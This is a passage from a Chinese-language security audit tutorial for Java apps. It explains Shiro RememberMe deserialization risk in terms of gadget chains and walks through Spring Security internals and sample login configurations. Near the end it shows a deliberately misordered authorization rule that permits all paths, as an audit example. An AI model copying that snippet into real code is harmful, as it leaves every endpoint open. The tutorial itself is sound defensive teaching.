SimpleCookie cookie = new SimpleCookie("REMEMBER_ME"); cookie.setHttpOnly(true); cookie.setMaxAge(86400 * 7); // 7天,根据业务调整 cookieRememberMeManager.setCookie(cookie); return cookieRememberMeManager; } // AOP 支持 @Bean public DefaultAdvisorAutoProxyCreator defaultAdvisorAutoProxyCreator() { DefaultAdvisorAutoProxyCreator creator = new DefaultAdvisorAutoProxyCreator(); creator.setProxyTargetClass(true); return creator; } @Bean public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) { AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor(); advisor.setSecurityManager(securityManager); return advisor; } } 补充:在不使用 RememberMe 的情况下,建议还是全局搜索一下 `RememberMe` 相关配置(包括 RememberMeManager、setRememberMe、CookieRememberMeManager 等),以避免出现开发者主观上不打算使用,但实际上在配置或代码路径中仍然启用了 RememberMe 的情况。 另一点值得补充的是,并不是存在 Shiro 反序列化风险点,就一定能够形成可以利用的完整攻击链。 可以用一个比较直观的类比来理解: 假设一个没有拿斧头的攻击者,目标是闯入房子里,用斧头把桌子砸坏。 Shiro 的反序列化问题,本质上相当于**给攻击者打开了一扇门**,但攻击能否真正发生,还取决于另一个关键条件: 👉 **屋子里有没有“斧头”可以用。** 这里的“斧头”,就是反序列化利用所依赖的 **gadget 链**(例如 commons-collections 等)。 更准确地说: - Shiro RememberMe 提供的是一个**可控反序列化入口** - 是否能进一步利用(例如 RCE) - 取决于 classpath 中是否存在**可利用的 gadget** 但值得注意的是: 原因在于: - 项目依赖是动态变化的 - 后续开发中**很可能引入新的第三方库** - 一旦引入可利用 gadget,这个原本“不可利用”的风险点就会**立即转变为可利用漏洞** 因此,更合理的处理方式是: 👉 将其视为一个**潜在高风险入口点**,在审计或整改阶段就进行修复,而不是等到可利用条件齐备。 ### 3.8 怎么看Spring Security部分的代码? 当然,我得说spring security看起来有些时候晕晕的,它对于很多安全机制都存在一些内置好的行为。 这会导致,有些时候,你以为它没有做,其实它做了。另一些时候,你以为它做了,实际上后面的逻辑被覆盖了的不幸情况。 因此我们还是需要比较深入地去学习一下。 Spring Security 5.7 之后推荐使用基于 Bean 的 Lambda 写法(Fluent API 链式写法),这种写法可读性更强且更易扩展,虽然不习惯流式写法的人可能一开始会有些困惑。一个简单的例子如下: @Configuration @EnableWebSecurity public class SecurityConfig { @Bean public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { http .authorizeHttpRequests(auth -> auth .requestMatchers("/public/**").permitAll() // 公开接口 .anyRequest().authenticated() // 其他请求需要登录 ) .formLogin(withDefaults()) // 使用默认表单登录 .httpBasic(withDefaults()); // 支持 HTTP Basic return http.build(); } @Bean public PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } } 在这个写法里面 1. `http.authorizeHttpRequests(auth -> auth ... )`这里通过 Lambda 接口配置授权规则。 2. `requestMatchers("/public/**").permitAll()`匹配 /public/** 路径,允许所有访问。 3. `anyRequest().authenticated()`其他请求必须登录。 4. `formLogin(withDefaults())`和`httpBasic(withDefaults())`启用默认的登录方式(表单和 HTTP Basic)。 另外为了认证,还需要提供用户信息和密码编码 @Service public class MyUserDetailsService implements UserDetailsService { @Override public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException { // 这里可以读取数据库、配置文件、Redis、API等 Optional user = userRepository.findByUsername(username); if(user.isEmpty()) throw new UsernameNotFoundException(username); return User.builder() .username(user.get().getUsername()) .password(user.get().getPassword()) .roles(user.get().getRoles().toArray(new String[0])) .build(); } } 这个东西是干什么的?看起来好像是在某个数据资源里面查用户信息,那……我需要在哪里调用它呢? 实际上,spring security在为我们做认证的时候,大概逻辑是这样的 用户输入用户名+密码 ↓ UserDetailsService.loadUserByUsername ↓ PasswordEncoder.matches ↓ 登录成功 / 登录失败 即:UserDetailsService 用于根据用户名加载用户信息,Spring Security 会在登录认证时自动调用它,因此开发者不需要手动调用,只需提供 Bean 即可。 那么,其实像`PasswordEncoder()`也是如此被调用的。它在这个地方启动了一个密码比对的作用。需要注意的一点是,`PasswordEncoder()`默认使用的是Bcrypt,如果为了适配老系统,或者其他的哈希,这个时候你可能就要重写一个`PawwordEncoder()`了,比如这个样子。新项目一般不建议这样。 public class MyPasswordEncoder implements PasswordEncoder { @Override public String encode(CharSequence rawPassword) { // 你自己的加密逻辑 } @Override public boolean matches(CharSequence rawPassword, String encodedPassword) { // 你自己的比对逻辑 } } 这个地方的原理就是,Spring的你把某个接口的实现注册成Bean,它在需要的时候自动注入使用。也就是说,只要容器里有你这个 UserDetailsService Bean,Spring Security 的认证组件就会拿来用。 比如我来看spring security(6.0)源码里面是这样的,在DaoAuthenticationProvide类下大概流程是: 1. 根据用户名查用户。这里有一个有趣的东西是`prepareTimingAttackProtection();`,这个是用来防时序攻击的,即准备一个假的已编码的密码。后面哪怕没有这个用户,也会做一次密码校验。避免攻击者通过结果返回时间试探这个账号是否存在。 @Override protected final UserDetails retrieveUser(String username, UsernamePasswordAuthenticationToken authentication) throws AuthenticationException { prepareTimingAttackProtection(); try { UserDetails loadedUser = this.getUserDetailsService().loadUserByUsername(username); if (loadedUser == null) { throw new InternalAuthenticationServiceException( "UserDetailsService returned null, which is an interface contract violation"); } return loadedUser; } catch (UsernameNotFoundException ex) { mitigateAgainstTimingAttack(authentication); throw ex; } catch (InternalAuthenticationServiceException ex) { throw ex; } catch (Exception ex) { throw new InternalAuthenticationServiceException(ex.getMessage(), ex); } } 2. 对“用户输入的密码”和“数据库中的密码”做校验,先判断有没有密码,然后取出前端传来的密码`String presentedPassword = authentication.getCredentials().toString();`,这个地方的`presentedPassword`就是用户这次登录输入的明文密码,最后通过`passwordEncoder.get().matches()`进行匹配 @Override protected void additionalAuthenticationChecks(UserDetails userDetails, UsernamePasswordAuthenticationToken authentication) throws AuthenticationException { if (authentication.getCredentials() == null) { this.logger.debug("Failed to authenticate since no credentials provided"); throw new BadCredentialsException(this.messages .getMessage("AbstractUserDetailsAuthenticationProvider.badCredentials", "Bad credentials")); } String presentedPassword = authentication.getCredentials().toString(); if (!this.passwordEncoder.get().matches(presentedPassword, userDetails.getPassword())) { this.logger.debug("Failed to authenticate since password does not match stored value"); throw new BadCredentialsException(this.messages .getMessage("AbstractUserDetailsAuthenticationProvider.badCredentials", "Bad credentials")); } } 3. 认证成功后,构造最终登录成功的 Authentication 对象。但它多做了一件事:检查是否需要升级密码编码,然后再去调用父类逻辑`return super.createSuccessAuthentication(principal, authentication, user);` @Override protected Authentication createSuccessAuthentication(Object principal, Authentication authentication, UserDetails user) { Assert.notNull(authentication.getCredentials(), "Authentication.getCredentials() cannot be null"); String presentedPassword = authentication.getCredentials().toString(); boolean isPasswordCompromised = this.compromisedPasswordChecker != null && this.compromisedPasswordChecker.check(presentedPassword).isCompromised(); if (isPasswordCompromised) { throw new CompromisedPasswordException("The provided password is compromised, please change your password"); } String existingEncodedPassword = user.getPassword(); boolean upgradeEncoding = existingEncodedPassword != null && !Objects.equals(this.userDetailsPasswordService, UserDetailsPasswordService.NOOP) && this.passwordEncoder.get().upgradeEncoding(existingEncodedPassword); if (upgradeEncoding) { String newPassword = this.passwordEncoder.get().encode(presentedPassword); user = this.userDetailsPasswordService.updatePassword(user, newPassword); } return super.createSuccessAuthentication(principal, authentication, user); } 可以基于这个去理解,其实很多步骤spring security已经帮我们做了 在这个样例之后,我们再来看,spring security的核心架构 HTTP Request │ FilterChainProxy │ SecurityFilterChain ──> AuthenticationFilter → AuthorizationFilter → ExceptionTranslationFilter → … 其中: - FilterChainProxy:拦截所有 HTTP 请求,按顺序执行多个 SecurityFilter。 - SecurityFilterChain:每条链负责匹配特定请求路径,执行认证和授权逻辑。 - AuthenticationManager & AuthenticationProvider:管理和验证用户身份。 - AuthorizationManager / 授权策略:决定用户是否有权访问特定资源。 - UserDetailsService / ReactiveUserDetailsService:提供用户数据和角色信息。 - PasswordEncoder:密码加密和验证工具。 接下来我们从一些更加复杂的场景里学习spring security的配置,这个地方只是展示,配置是怎样的,帮助我们理解这个部分的逻辑。不会展示很多问题代码和要关注的审计点。 #### spring security的配置样例 **情景一:使用表单登录** @Configuration @EnableWebSecurity @EnableGlobalMethodSecurity(prePostEnabled = true) // 开启方法级权限 public class SecurityConfig { @Value("${app.security.remember-me-key}") private String rememberMeKey; @Value("${app.security.allowed-origins}") private String allowedOrigins; @Bean public PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } /** * 从数据库加载用户 (示例接口,此处仅给出签名) */ @Bean public UserDetailsService userDetailsService(UserRepository userRepository) { return username -> userRepository.findByUsername(username) .map(user -> org.springframework.security.core.userdetails.User.builder() .username(user.getUsername()) .password(user.getPassword()) .roles(user.getRoles().stream() .map(Role::getName) .toArray(String[]::new)) .accountLocked(user.isLocked()) .disabled(!user.isEnabled()) .build()) .orElseThrow(() -> new UsernameNotFoundException("User not found: " + username)); } @Bean public SecurityFilterChain filterChain(HttpSecurity http) throws Exception { http // ===== 强制 HTTPS ===== .requiresChannel(channel -> channel .anyRequest().requiresSecure() ) // ===== 安全响应头 ===== .headers(headers -> headers .xssProtection(xss -> xss .block(true)) // X-XSS-Protection .contentSecurityPolicy(csp -> csp .policyDirectives("script-src 'self'")) // CSP 基本策略 .frameOptions(frame -> frame .deny()) // X-Frame-Options: DENY .httpStrictTransportSecurity(hsts -> hsts // HSTS .includeSubDomains(true) .maxAgeInSeconds(31536000)) .contentTypeOptions() // X-Content-Type-Options: nosniff .referrerPolicy(referrer -> referrer .policy(ReferrerPolicy.SAME_ORIGIN)) // Referrer-Policy ) // ===== CORS(前后端分离时必须) ===== .cors(cors -> cors.configurationSource(corsConfigurationSource())) // ===== CSRF 双向保护 ===== .csrf(csrf -> csrf .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) // JS 可读 .csrfTokenRequestHandler(new CsrfTokenRequestAttributeHandler()) // 默认从请求头读取 .ignoringRequestMatchers("/api/public/**") // 公开 API 可忽略 ) // ===== 授权规则 ===== .authorizeHttpRequests(auth -> auth .requestMatchers("/", "/home", "/login", "/error", "/css/**", "/js/**", "/images/**", "/api/public/**").permitAll() .requestMatchers("/admin/**").hasRole("ADMIN") .requestMatchers("/user/**").hasAnyRole("USER", "ADMIN") .anyRequest().authenticated() ) // ===== 表单登录增强 ===== .formLogin(form -> form .loginPage("/login") .loginProcessingUrl("/do-login") .successHandler(authenticationSuccessHandler()) // 自定义成功处理 .failureHandler(authenticationFailureHandler()) // 自定义失败处理 .permitAll() ) // ===== 记住我(密钥外部化) ===== .rememberMe(remember -> remember .key(rememberMeKey) .tokenValiditySeconds(7 * 24 * 60 * 60) .rememberMeParameter("remember-me") .userDetailsService(userDetailsService(null)) // 需注入真实 Bean .authenticationSuccessHandler(rememberMeSuccessHandler()) ) // ===== 退出登录 ===== .logout(logout -> logout .logoutUrl("/do-logout") .logoutSuccessHandler(logoutSuccessHandler()) // 自定义成功处理 .invalidateHttpSession(true) .clearAuthentication(true) .deleteCookies("JSESSIONID", "XSRF-TOKEN", "remember-me") ) // ===== 异常处理 ===== .exceptionHandling(ex -> ex .authenticationEntryPoint(authenticationEntryPoint()) // 未登录 .accessDeniedHandler(accessDeniedHandler()) // 权限不足 ) // ===== 会话管理(Redis 持久化) ===== .sessionManagement(session -> session .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED) .maximumSessions(1) .maxSessionsPreventsLogin(false) .expiredUrl("/login?expired=true") .sessionRegistry(sessionRegistry()) ); return http.build(); } // ========== 以下为辅助 Bean ========== @Bean public SessionRegistry sessionRegistry() { return new SessionRegistryImpl(); } @Bean public HttpSessionEventPublisher httpSessionEventPublisher() { return new HttpSessionEventPublisher(); } private CorsConfigurationSource corsConfigurationSource() { CorsConfiguration config = new CorsConfiguration(); config.setAllowedOrigins(List.of(allowedOrigins)); // 不要用 "*" config.setAllowedMethods(Arrays.asList("GET", "POST", "PUT", "DELETE", "OPTIONS")); config.setAllowedHeaders(List.of("*")); config.setAllowCredentials(true); // 允许 Cookie config.setMaxAge(3600L); UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); source.registerCorsConfiguration("/**", config); return source; } // ========== 自定义成功/失败处理器(审计日志 + 响应) ========== private AuthenticationSuccessHandler authenticationSuccessHandler() { return (request, response, authentication) -> { // 1. 记录审计日志 log.info("User [{}] logged in from IP {}", authentication.getName(), request.getRemoteAddr()); // 2. 重置失败计数(假设有 Redis 计数器) // 3. 判断请求类型,决定响应 if (isAjaxRequest(request)) { response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":200,\"message\":\"Login success\"}"); } else { new SavedRequestAwareAuthenticationSuccessHandler() .onAuthenticationSuccess(request, response, authentication); } }; } private AuthenticationFailureHandler authenticationFailureHandler() { return (request, response, exception) -> { // 1. 记录失败日志 log.warn("Login failed: {}", exception.getMessage()); // 2. 增加失败计数,若超过阈值则锁定账户(在 UserDetailsService 中检查 locked) // 3. 返回友好错误 if (isAjaxRequest(request)) { response.setStatus(401); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":401,\"message\":\"Bad credentials\"}"); } else { response.sendRedirect("/login?error=" + exception.getClass().getSimpleName()); } }; } private AuthenticationEntryPoint authenticationEntryPoint() { return (request, response, authException) -> { if (isAjaxRequest(request)) { response.setStatus(401); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":401,\"message\":\"Unauthorized\"}"); } else { response.sendRedirect("/login"); } }; } private AccessDeniedHandler accessDeniedHandler() { return (request, response, accessDeniedException) -> { if (isAjaxRequest(request)) { response.setStatus(403); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":403,\"message\":\"Forbidden\"}"); } else { response.sendRedirect("/403"); } }; } private LogoutSuccessHandler logoutSuccessHandler() { return (request, response, authentication) -> { if (authentication != null) { log.info("User [{}] logged out", authentication.getName()); } if (isAjaxRequest(request)) { response.setStatus(200); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":200,\"message\":\"Logout success\"}"); } else { response.sendRedirect("/login?logout"); } }; } private AuthenticationSuccessHandler rememberMeSuccessHandler() { // 可复用上面的 successHandler return authenticationSuccessHandler(); } // 判断 Ajax 请求的辅助方法 private boolean isAjaxRequest(HttpServletRequest request) { return "XMLHttpRequest".equals(request.getHeader("X-Requested-With")) || request.getHeader("Accept") != null && request.getHeader("Accept").contains("application/json"); } private static final Logger log = LoggerFactory.getLogger(SecurityConfig.class); } **情景二:使用OAuth2登录** 首先是application.yaml的配置 spring: security: oauth2: client: registration: google: client-id: ${GOOGLE_CLIENT_ID} client-secret: ${GOOGLE_CLIENT_SECRET} # 绝不可明文硬编码 scope: openid, profile, email # redirect-uri 使用模板,不要写死域名 redirect-uri: "{baseScheme}://{baseHost}{basePort}/{basePath}/login/oauth2/code/{registrationId}" provider: google: # issuer-uri 由 Spring 自动推断 session: store-type: redis # 持久化会话到 Redis redis: flush-mode: on_save namespace: spring:session server: forward-headers-strategy: framework # 配合反向代理获取正确 Scheme app: security: allowed-origins: https://your-frontend.com # 前端域名 核心配置类 @Configuration @EnableWebSecurity @EnableGlobalMethodSecurity(prePostEnabled = true) // 开启方法级权限 public class SecurityConfig { @Value("${app.security.allowed-origins}") private String allowedOrigins; // ----- 密码编码器(用于本地用户密码) ----- @Bean public PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } // ----- OAuth2 用户信息服务(真正映射到本地数据库) ----- @Bean public OAuth2UserService oAuth2UserService( UserRepository userRepository, PasswordEncoder passwordEncoder) { DefaultOAuth2UserService delegate = new DefaultOAuth2UserService(); return userRequest -> { // 1. 从第三方加载用户信息 OAuth2User oauth2User = delegate.loadUser(userRequest); String registrationId = userRequest.getClientRegistration().getRegistrationId(); String email = oauth2User.getAttribute("email"); String name = oauth2User.getAttribute("name"); // 2. 查找或创建本地用户 User user = userRepository.findByEmail(email) .orElseGet(() -> createNewUser(userRequest, oauth2User, passwordEncoder)); // 3. 检查用户是否被锁定 if (user.isLocked()) { throw new LockedException("Account is locked"); } // 4. 返回自定义的 OAuth2User(包含本地角色与权限) return new CustomOAuth2User(user, oauth2User.getAttributes()); }; } // ----- 核心安全过滤器链 ----- @Bean public SecurityFilterChain securityFilterChain(HttpSecurity http, OAuth2UserService oAuth2UserService) throws Exception { http // ===== 1. 强制 HTTPS ===== .requiresChannel(channel -> channel .anyRequest().requiresSecure() ) // ===== 2. 安全响应头 ===== .headers(headers -> headers .contentSecurityPolicy(csp -> csp .policyDirectives("script-src 'self'")) .frameOptions().deny() .httpStrictTransportSecurity(hsts -> hsts .includeSubDomains(true) .maxAgeInSeconds(31536000)) .contentTypeOptions() // X-Content-Type-Options: nosniff .referrerPolicy(referrer -> referrer .policy(ReferrerPolicy.SAME_ORIGIN)) .permissionsPolicy(permissions -> permissions .policy("geolocation=(), microphone=(), camera=()")) ) // ===== 3. CORS(适配前后端分离) ===== .cors(cors -> cors.configurationSource(corsConfigurationSource())) // ===== 4. CSRF 防护 ===== .csrf(csrf -> csrf .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) // OAuth2 回调端点默认已受 state 保护,可忽略 CSRF token 校验 .ignoringRequestMatchers("/login/oauth2/code/**") ) // ===== 5. 会话管理(Redis 持久化) ===== .sessionManagement(session -> session .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED) .sessionFixation().migrateSession() // 防护 session 固定攻击 .maximumSessions(1) .maxSessionsPreventsLogin(true) .expiredUrl("/login?expired=true") .sessionRegistry(sessionRegistry()) ) // ===== 6. OAuth2 登录(增强) ===== .oauth2Login(oauth2 -> oauth2 .loginPage("/login") .defaultSuccessUrl("/dashboard", true) // ★ 防止开放重定向攻击:限制 success 后的跳转目标 .successHandler(oAuth2AuthenticationSuccessHandler()) .failureHandler(oAuth2AuthenticationFailureHandler()) .userInfoEndpoint(userInfo -> userInfo .userService(oAuth2UserService) ) // ★ 可选的:限制 OAuth2 客户端注册 ID(防止未注册客户端) // .clientRegistrationRepository(...) ) // ===== 7. 注销(含 OAuth2 token 撤销) ===== .logout(logout -> logout .logoutUrl("/do-logout") .logoutSuccessHandler(oAuth2LogoutSuccessHandler()) .invalidateHttpSession(true) .clearAuthentication(true) .deleteCookies("JSESSIONID", "XSRF-TOKEN") ) // ===== 8. 授权规则 ===== .authorizeHttpRequests(auth -> auth .requestMatchers("/", "/login", "/error", "/webjars/**").permitAll() .requestMatchers("/admin/**").hasRole("ADMIN") .anyRequest().authenticated() ) // ===== 9. 异常处理 ===== .exceptionHandling(ex -> ex .authenticationEntryPoint(oAuth2AuthenticationEntryPoint()) .accessDeniedHandler(oAuth2AccessDeniedHandler()) ); return http.build(); } // ========== 辅助 Bean ========== @Bean public SessionRegistry sessionRegistry() { return new SessionRegistryImpl(); } @Bean public HttpSessionEventPublisher httpSessionEventPublisher() { return new HttpSessionEventPublisher(); } // ========== 自定义 Handler ========== private AuthenticationSuccessHandler oAuth2AuthenticationSuccessHandler() { return (request, response, authentication) -> { // 审计日志 log.info("OAuth2 login success: {} from provider {}", authentication.getName(), ((OAuth2AuthenticationToken) authentication).getAuthorizedClientRegistrationId()); // 重置登录失败计数器(如果实现了) // loginAttemptService.loginSucceeded(authentication.getName()); // 统一响应(Ajax / 页面) if (isAjaxRequest(request)) { response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":200,\"message\":\"login ok\"}"); return; } // 安全跳转:只允许内部 URL,防止 open redirect String targetUrl = request.getParameter("redirect_uri"); if (targetUrl != null && targetUrl.startsWith("/")) { response.sendRedirect(targetUrl); } else { response.sendRedirect("/dashboard"); } }; } private AuthenticationFailureHandler oAuth2AuthenticationFailureHandler() { return (request, response, exception) -> { log.warn("OAuth2 login failed: {} - {}", exception.getClass().getSimpleName(), exception.getMessage()); if (isAjaxRequest(request)) { response.setStatus(401); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":401,\"message\":\"" + exception.getMessage() + "\"}"); return; } response.sendRedirect("/login?error=" + exception.getClass().getSimpleName()); }; } private LogoutSuccessHandler oAuth2LogoutSuccessHandler() { return (request, response, authentication) -> { if (authentication != null) { // 审计日志 log.info("User {} logged out", authentication.getName()); // 如果有 OAuth2 token,可调用 provider 撤销端点(可选) // revokedTokenService.revoke(authentication); } if (isAjaxRequest(request)) { response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":200,\"message\":\"logged out\"}"); return; } response.sendRedirect("/login?logout"); }; } private AuthenticationEntryPoint oAuth2AuthenticationEntryPoint() { return (request, response, authException) -> { // 让 OAuth2 自动重定向到 provider 登录页面 // 对于 Ajax 请求,返回 401 if (isAjaxRequest(request)) { response.setStatus(401); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":401,\"message\":\"not authenticated\"}"); return; } // 默认 Spring Security OAuth2 会处理重定向,此处保持默认 // 但如果是自定义登录页,可 redirect response.sendRedirect("/login"); }; } private AccessDeniedHandler oAuth2AccessDeniedHandler() { return (request, response, accessDeniedException) -> { if (isAjaxRequest(request)) { response.setStatus(403); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"code\":403,\"message\":\"access denied\"}"); return; } response.sendRedirect("/403"); }; } // ----- CORS 配置 ----- private CorsConfigurationSource corsConfigurationSource() { CorsConfiguration config = new CorsConfiguration(); config.setAllowedOrigins(List.of(allowedOrigins)); // 明确写出前端域名 config.setAllowedMethods(Arrays.asList("GET", "POST", "PUT", "DELETE", "OPTIONS")); config.setAllowedHeaders(List.of("*")); config.setAllowCredentials(true); config.setMaxAge(3600L); UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); source.registerCorsConfiguration("/**", config); return source; } // ----- 辅助方法 ----- private boolean isAjaxRequest(HttpServletRequest request) { return "XMLHttpRequest".equals(request.getHeader("X-Requested-With")) || (request.getHeader("Accept") != null && request.getHeader("Accept").contains("application/json")); } private static final Logger log = LoggerFactory.getLogger(SecurityConfig.class); } **情景三:表单+JWT登录** app: jwt: secret: ${JWT_SECRET:changeMeInProdToAStrongSecret} # 至少 256 位密钥,生产用环境变量 expiration-ms: 3600000 # 1 小时 security: allowed-origins: https://your-frontend.com # 前端域名 spring: datasource: url: jdbc:mysql://localhost:3306/db?useSSL=true username: ${DB_USER} password: ${DB_PASS} server: forward-headers-strategy: framework ssl: enabled: true # 生产必须开启 HTTPS 核心配置类 @Bean public SecurityFilterChain securityFilterChain(HttpSecurity http, JwtTokenProvider jwtTokenProvider) throws Exception { http .requiresChannel(channel -> channel.anyRequest().requiresSecure()) .headers(headers -> headers .frameOptions().deny() .httpStrictTransportSecurity(hsts -> hsts.includeSubDomains(true).maxAgeInSeconds(31536000)) .contentSecurityPolicy("script-src 'self'") .contentTypeOptions() ) .cors(cors -> cors.configurationSource(corsConfigurationSource())) .csrf(csrf -> csrf.disable()) // 无状态 JWT 不需要 CSRF .sessionManagement(session -> session.sessionCreationPolicy(SessionCreationPolicy.STATELESS)) // ★ 使用默认的表单登录过滤器 .formLogin(form -> form .loginProcessingUrl("/api/auth/login") // 登录端点 .successHandler(new AuthenticationSuccessHandler() { @Override public void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) throws IOException { // 1. 生成 JWT String token = jwtTokenProvider.generateToken(authentication); // 2. 设置响应头 response.setHeader("Authorization", "Bearer " + token); // 3. 返回 JSON response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"token\":\"" + token + "\"}"); } }) .failureHandler(new AuthenticationFailureHandler() { @Override public void onAuthenticationFailure(HttpServletRequest request, HttpServletResponse response, AuthenticationException exception) throws IOException { response.setStatus(401); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"error\":\"Bad credentials\"}"); } }) .permitAll() ) .authorizeHttpRequests(auth -> auth .requestMatchers("/api/auth/**").permitAll() .requestMatchers("/admin/**").hasRole("ADMIN") .anyRequest().authenticated() ) .exceptionHandling(ex -> ex .authenticationEntryPoint((request, response, authException) -> { response.setStatus(401); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"error\":\"Unauthorized\"}"); }) .accessDeniedHandler((request, response, accessDeniedException) -> { response.setStatus(403); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write("{\"error\":\"Forbidden\"}"); }) ) // ★ JWT 鉴权过滤器仍需保留(用于后续请求校验 Token) .addFilterAfter(new JwtTokenAuthenticationFilter(jwtTokenProvider, userDetailsService), UsernamePasswordAuthenticationFilter.class); return http.build(); } JWT鉴权过滤器 public class JwtTokenAuthenticationFilter extends OncePerRequestFilter { private final JwtTokenProvider jwtTokenProvider; private final UserDetailsService userDetailsService; public JwtTokenAuthenticationFilter(JwtTokenProvider jwtTokenProvider, UserDetailsService userDetailsService) { this.jwtTokenProvider = jwtTokenProvider; this.userDetailsService = userDetailsService; } @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { String token = resolveToken(request); if (token != null && jwtTokenProvider.validateToken(token)) { String username = jwtTokenProvider.getUsernameFromToken(token); UserDetails userDetails = userDetailsService.loadUserByUsername(username); UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken(userDetails, null, userDetails.getAuthorities()); authentication.setDetails(new WebAuthenticationDetailsSource().buildDetails(request)); SecurityContextHolder.getContext().setAuthentication(authentication); } filterChain.doFilter(request, response); } private String resolveToken(HttpServletRequest request) { String bearerToken = request.getHeader("Authorization"); if (bearerToken != null && bearerToken.startsWith("Bearer ")) { return bearerToken.substring(7); } return null; } } 在接下来的场景之中,我们就不再提供全量的代码了,注意关注不同登录场景之下,SecurityFilterChain是怎么组织的。 **情景四:更复合一点的例子,表单+短信验证码+OAuth2** @Configuration @EnableWebSecurity public class SecurityConfig { @Bean public SecurityFilterChain filterChain(HttpSecurity http) throws Exception { http // 1. 基础安全设置(所有认证方式共享) .requiresChannel(channel -> channel.anyRequest().requiresSecure()) .headers(headers -> headers.frameOptions().deny().httpStrictTransportSecurity(...)) .cors(...) .csrf(csrf -> csrf.disable()) // 无状态或使用 JWT 时可置 disable .sessionManagement(session -> session.sessionCreationPolicy(SessionCreationPolicy.STATELESS)) .exceptionHandling(ex -> ex.authenticationEntryPoint(...).accessDeniedHandler(...)) // 2. 授权规则(所有路径统一放行) .authorizeHttpRequests(auth -> auth .requestMatchers("/api/login/**", "/login/**", "/webjars/**").permitAll() .anyRequest().authenticated() ) // ----- 3. 表单登录 ----- .formLogin(form -> form .loginProcessingUrl("/api/login/form") // 指定表单提交端点 .successHandler(jwtSuccessHandler()) // 返回 JWT .failureHandler(jsonFailureHandler()) .permitAll() ) // ----- 4. OAuth2 登录 ----- .oauth2Login(oauth2 -> oauth2 .loginPage("/api/login/oauth2") // 可选:自定义跳转页面 .authorizationEndpoint(auth -> auth .baseUri("/api/login/oauth2/authorize")) // 发起 OAuth2 授权请求的端点 .redirectionEndpoint(redir -> redir .baseUri("/api/login/oauth2/callback/*")) // 回调端点 .successHandler(jwtSuccessHandler()) .failureHandler(jsonFailureHandler()) .userInfoEndpoint(userInfo -> userInfo .userService(customOAuth2UserService())) ) // ----- 5. 短信验证码登录(自定义过滤器) ----- .addFilterBefore(smsAuthenticationFilter(), UsernamePasswordAuthenticationFilter.class); // 注意:将 SMS 过滤器放在表单过滤器之前,避免路径混淆 return http.build(); } // 自定义短信验证码过滤器(只处理 POST /api/login/sms) private SmsAuthenticationFilter smsAuthenticationFilter() { SmsAuthenticationFilter filter = new SmsAuthenticationFilter(); filter.setFilterProcessesUrl("/api/login/sms"); // 只处理该路径 filter.setAuthenticationSuccessHandler(jwtSuccessHandler()); filter.setAuthenticationFailureHandler(jsonFailureHandler()); return filter; } // 自定义短信 Provider(与 SmsAuthenticationFilter 配合) @Bean public SmsAuthenticationProvider smsAuthenticationProvider() { return new SmsAuthenticationProvider(smsService()); } } 这个过滤链顺序如下: SecurityContextPersistenceFilter → SmsAuthenticationFilter (addFilterBefore UsernamePasswordAuthenticationFilter) → UsernamePasswordAuthenticationFilter (处理表单登录) → OAuth2LoginAuthenticationFilter (处理 OAuth2 回调) → ExceptionTranslationFilter → FilterSecurityInterceptor 比如一个需要短信验证的请求到这里来了,故事是这样的: 请请求 POST /api/login/sms ↓ SecurityContextHolderFilter —— 恢复 SecurityContext(可能为空) ↓ SmsAuthenticationFilter —— 匹配路径,执行短信认证 ↓(认证成功,设置 SecurityContext) UsernamePasswordAuthenticationFilter —— 路径不匹配,跳过 ↓ OAuth2LoginAuthenticationFilter —— 路径不匹配,跳过 ↓ ExceptionTranslationFilter —— 没有异常,跳过 ↓ FilterSecurityInterceptor —— 检查授权(SecurityContext 已有用户,放行) #### 再讨论常见的一些安全问题 1. authorizeHttpRequests的顺序 authorizeHttpRequests() 中的规则必须按“从最严格到最宽松”的顺序书写。 因为Spring Security 会从上到下依次匹配,❗**一旦某条规则匹配,就执行该规则对应的权限要求,后续规则不再生效**。如果顺序不当,严格规则会被宽松规则“覆盖”,导致预期外的越权。 .authorizeHttpRequests(auth -> auth .requestMatchers("/admin/**").hasRole("ADMIN") // 规则 1 .requestMatchers("/home/**").hasAnyRole("USER","ADMIN") //规则2 .requestMatchers("/public/**", "/login", "/error").permitAll() // 规则 3 .anyRequest().authenticated() // 规则 4(兜底) ) 比如像这样错的就很夸张了,当然通常也没有人这样写。审计的时候,可能关注一些不同规则和路径顺序的合理性,然后在有测试账号的时候,关注一下测试账号权限放的位置是否合理。 .authorizeHttpRequests(auth -> auth .requestMatchers("/**").permitAll() // 规则 1:通配所有路径 .requestMatchers("/admin/**").hasRole("ADMIN") // 规则 2:永远不会执行 .anyRequest().authenticated() // 规则 3:同样不会执行 ) 